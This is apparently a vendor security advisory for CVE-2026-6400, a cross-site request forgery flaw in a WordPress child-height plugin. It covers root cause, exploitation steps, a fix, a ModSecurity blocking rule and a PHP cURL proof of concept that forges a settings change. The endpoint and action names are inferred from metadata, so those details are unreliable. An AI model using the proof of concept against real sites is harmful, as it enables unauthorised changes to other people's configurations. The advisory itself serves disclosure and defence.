Atomic Edge analysis of CVE-2026-6400 (metadata-based): This vulnerability is a Cross-Site Request Forgery (CSRF) in the Child Height Predictor by Ostheimer plugin for WordPress, affecting all versions up to and including 1.3. The plugin’s settings update mechanism lacks proper nonce verification, allowing unauthenticated attackers to forge requests that change plugin configuration, such as unit preferences. The CVSS score is 4.3 (Medium), with the attack vector requiring user interaction (tricking an administrator).
Root Cause: Based on Atomic Edge analysis of the CWE-352 classification and the vulnerability description, the root cause is the absence of CSRF protection in the plugin’s settings update handler (options() function). The plugin never calls check_admin_referer() or wp_verify_nonce(), and the settings form does not include a wp_nonce_field() call. This is an inferred conclusion from the metadata, as no source code diff is available for direct confirmation. The vulnerable code pattern is common in WordPress plugins: a function that processes $_POST data and calls update_option() without validating a nonce token.
Exploitation: An attacker crafts a malicious HTML page with a form that auto-submits a POST request to the WordPress admin area where the plugin settings are saved. The target endpoint is likely /wp-admin/options-general.php?page=child-height-predictor (typical for plugins using the WordPress settings API), or directly to /wp-admin/admin-post.php with an appropriate action parameter. The attacker must trick an authenticated administrator into visiting this page. The forged request can modify option values such as ‘chp_unit_preference’ (changing between metric and imperial units). The attacker can set arbitrary WordPress options that the plugin stores via update_option(), potentially altering calculation outputs or misdirecting users.
Remediation: The fix requires adding CSRF protection to the settings update handler. The plugin must call wp_nonce_field(‘chp_settings’) in the settings form template and check_admin_referer(‘chp_settings’) or wp_verify_nonce() at the start of the options() function before processing any input. This is a standard WordPress security pattern and is confirmed by the CWE description.
Impact: Successful exploitation allows an attacker to change plugin settings without authorization. This can cause miscalculation of child height predictions by altering unit systems, potentially leading to medical misinformation if the plugin is used in health contexts. The impact is limited to configuration integrity (Low CIA impact per CVSS), with no direct data exposure or privilege escalation. However, if the attacker can set arbitrary options via update_option(), there is a theoretical risk of low-severity cross-site scripting if the plugin outputs options without escaping, or other settings-based attacks.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6400 (metadata-based)
# Block CSRF exploitation attempts targeting the Child Height Predictor settings update
# This rule matches the POST request to admin-post.php with the plugin-specific action
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6400 CSRF attempt via admin-post.php',severity:'CRITICAL',tag:'CVE-2026-6400'"
SecRule ARGS_POST:action "@streq chp_save_settings" "chain"
SecRule ARGS_POST:chp_unit_preference "@unconditionalMatch" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6400 - Child Height Predictor by Ostheimer <= 1.3 - Cross-Site Request Forgery to Settings Update
// Configuration: Change these variables to match the target environment
$target_url = 'http://example.com/wp-admin/admin-post.php'; // Adjust if plugin uses different endpoint
$admin_action = 'chp_save_settings'; // Inferred typical action name; may need adjustment
// Payload: Forge POST request to change unit preference to 'imperial' (or any desired value)
$post_data = array(
'action' => $admin_action,
'chp_unit_preference' => 'imperial', // Example setting; actual option names may differ
'chp_update_settings' => '1'
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Set a User-Agent to simulate legitimate request (optional)
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
// Execute the forged request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo 'Forged request sent successfully. Check if target admin was tricked.' . "n";
}
curl_close($ch);
// Note: This PoC requires the targeted administrator to have an active session.
// In a real attack, the attacker would host an HTML page with auto-submitting form.
?>
